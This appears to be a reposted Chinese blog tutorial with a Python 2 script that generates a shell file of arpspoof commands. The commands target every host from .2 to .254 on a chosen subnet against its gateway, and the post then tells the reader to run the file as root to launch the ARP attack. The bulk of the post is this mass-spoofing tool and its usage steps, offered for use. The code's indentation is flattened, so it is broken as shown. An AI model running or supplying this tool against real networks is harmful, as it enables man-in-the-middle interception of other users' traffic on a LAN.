PYthon撰寫KALI工具Arpspoof腳本 自動生成Shell檔案
撰寫使用軟體
vscode
python版本
2.7.18
適用系統
Windows Linux mac
腳本決議
開頭宣告utf-8字符編碼 此腳本執行時要輸出中文
#coding=utf-8
定義腳本需要用到的函式 根據自己的環境定義
#定義函式
spot=('.')
Space=(' ')
gateway=('網關')
and_symbol=('&')
arp=('arpspoof')
IP_end=('IP結束')
IP_start=('IP開始')
Specify_gateway=('-t')
Specify_network_card=('-i')
詢問攻擊機使用的網卡 并寫入網卡
#定義網卡
print('指定網卡')
network_card=raw_input()
定義IP前三段函式
例如IP前三段 如192.168.100
#定義IP開始結束
print('IP第一段')
IP1=input()
print('IP第二段')
IP2=input()
print('IP第三段')
IP3=input()
IP第四段開始為2 結束為254
#IP第四段開始
IP4KS=2
#IP第四段結束
IP4JS=254
定義網關1-4段 如 192.168.100.1
#定義網關
print('網關第一段')
WG1=input()
print('網關第二段')
WG2=input()
print('網關第三段')
WG3=input()
print('網關第四段')
WG4=input()
IPKS意為IP開始由(IP1 點 IP2 點 IP3 點 IP4開始)組成
如 192.168.100.1
IPJS意為IP結束由(IP1 點 IP2 點 IP3 點 IP4結束)組成
如192.168.100.254
#IP開始及結束
IPKS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4KS))
IPJS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4JS))
WG意為(網關1 點 網關2 點 網關3 點 網關4)組成
如192.168.100.1
#網關
WG=('%s%s%s%s%s%s%s' %(WG1,spot,WG2,spot,WG3,spot,WG4))
輸出開始IP 由(IP前三段 空格 IP開始)組成
輸出結果為 (IP開始 192.168.100.2)
#輸出IP開始
print('%s%s%s' %(IP_start,Space,IPKS))
輸出結束IP 由(IP前三段 空格 IP結束)組成
輸出結果為 (IP開始 192.168.100.254)
#輸出IP結束
print('%s%s%s' %(IP_end,Space,IPJS))
輸出網關 由(網關 空格 網關地址)組成
輸出結果為 192.168.100.1
#輸出網關
print('%s%s%s' %(gateway,Space,WG))
定義IP前三段 由(IP1 點 IP2 點 IP3 點)組成
#IP前三段
IPQSD=('%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot))
命令執行前 將函式拼接分為兩段 為接下來的組合做準備
Before_output_One 由(arpspoof 空格 -i 空格 網卡 空格 -t 空格 IP前三段) 組成
輸出結果為 arpspoof -i 網卡 -t 192.168.100.
Before_output_Two 由(空格 網關)組成
輸出結果為 空格 192.168.100.1
拼接結果為 arpspoof -i 網卡 -t 192.180.100.(待生成的IP) 192.168.100.1
#命令執行前
Before_output_One=('%s%s%s%s%s%s%s%s%s' %(arp,Space,Specify_network_card,Space,network_card,Space,Specify_gateway,Space,IPQSD,))
Before_output_Two=('%s%s' %(Space,WG))
詢問是否執行腳本
#判斷是否執行
print('1.開始執行 2.取消執行')
judge_One = input('請選擇:')
IP開始-1 本腳本使用的是while回圈+1 現在-1是為了執行時從1開始加 輸出第一行的數就是2
#IP開始減一 防止后續匯出錯誤
IP4KS = IP4KS - 1
判斷輸入為1 開始輸出執行結果
#開始判斷是否執行
if judge_One == 1:
print('開始輸出')
腳本自動生成一個Shell檔案 這里是為了清空之前生成的腳本
#清除之前的腳本
with open("arp.sh","w") as f:
f.write("")
IP剛剛-1 現在為1 現在+1 進入回圈 第一次輸出就是2
拼接結果為 arpspoof -i 網卡 -t 開始IP-結束IP 網關&
例如 arpspoof -i eth0 -t 192.168.100.2 192.168.100.1& 一直輸出到192.168.100.254
在腳本路徑下新建一個arp.sh檔案 并將輸出到結果寫入到Shell腳本中
#開始輸出
while IP4KS<IP4JS:
IP4KS=IP4KS+1
end=('%s%s%s%s' %(Before_output_One,IP4KS,Before_output_Two,and_symbol))
print(end)
f = open('arp.sh','a')
f.write(str(end)+'\n')
f.close()
判斷輸入為 取消執行腳本
elif judge_One == 2:
print('取消執行')
輸出結果不為1或者2 則取消執行腳本
執行腳本
else:
print('選擇錯誤 取消執行')
執行腳本系統

Linux-Kali PYthon版本

執行程序

選擇腳本開始執行


填寫腳本內容

輸出結果

python腳本目錄下已經出現arp.sh檔案

查看arp.sh檔案 腳本已經生成完成

Root權限下 chmod +x arp.sh 賦予執行權限

Root權限下 ./arp.sh 開始執行ARP攻擊
最后附上整個腳本
#coding=utf-8
#定義函式
spot=('.')
Space=(' ')
gateway=('網關')
and_symbol=('&')
arp=('arpspoof')
IP_end=('IP結束')
IP_start=('IP開始')
Specify_gateway=('-t')
Specify_network_card=('-i')
#定義網卡
print('指定網卡')
network_card=raw_input()
#定義IP開始結束
print('IP第一段')
IP1=input()
print('IP第二段')
IP2=input()
print('IP第三段')
IP3=input()
#IP第四段開始
IP4KS=2
#IP第四段結束
IP4JS=254
#定義網關
print('網關第一段')
WG1=input()
print('網關第二段')
WG2=input()
print('網關第三段')
WG3=input()
print('網關第四段')
WG4=input()
#IP開始及結束
IPKS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4KS))
IPJS=('%s%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot,IP4JS))
#網關
WG=('%s%s%s%s%s%s%s' %(WG1,spot,WG2,spot,WG3,spot,WG4))
#輸出IP開始
print('%s%s%s' %(IP_start,Space,IPKS))
#延遲
import time
time.sleep(1)
#輸出IP結束
print('%s%s%s' %(IP_end,Space,IPJS))
#延遲
import time
time.sleep(1)
#輸出網關
print('%s%s%s' %(gateway,Space,WG))
#IP前三段
IPQSD=('%s%s%s%s%s%s' %(IP1,spot,IP2,spot,IP3,spot))
#命令執行前
Before_output_One=('%s%s%s%s%s%s%s%s%s' %(arp,Space,Specify_network_card,Space,network_card,Space,Specify_gateway,Space,IPQSD,))
Before_output_Two=('%s%s' %(Space,WG))
#延遲
import time
time.sleep(1)
#判斷是否執行
print('1.開始執行 2.取消執行')
judge_One = input('請選擇:')
#IP開始減一 防止后續匯出錯誤
IP4KS = IP4KS - 1
#開始判斷是否執行
if judge_One == 1:
print('開始輸出')
#延遲
import time
time.sleep(1)
#清除之前的腳本
with open("arp.sh","w") as f:
f.write("")
#開始輸出
while IP4KS<IP4JS:
IP4KS=IP4KS+1
end=('%s%s%s%s' %(Before_output_One,IP4KS,Before_output_Two,and_symbol))
print(end)
f = open('arp.sh','a')
f.write(str(end)+'\n')
f.close()
elif judge_One == 2:
#延遲
import time
time.sleep(1)
print('取消執行')
else:
#延遲
import time
time.sleep(1)
print('選擇錯誤 取消執行')
Windows10防止ARP攻擊
Windows7防止ARP攻擊
初次寫博客 如果問題 還請見諒
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/279596.html
標籤:python
上一篇:Python中[-1]、[:-1]、[::-1]、[n::-1]、[:,:,0]、[…,0]、[…,::-1] 的理解
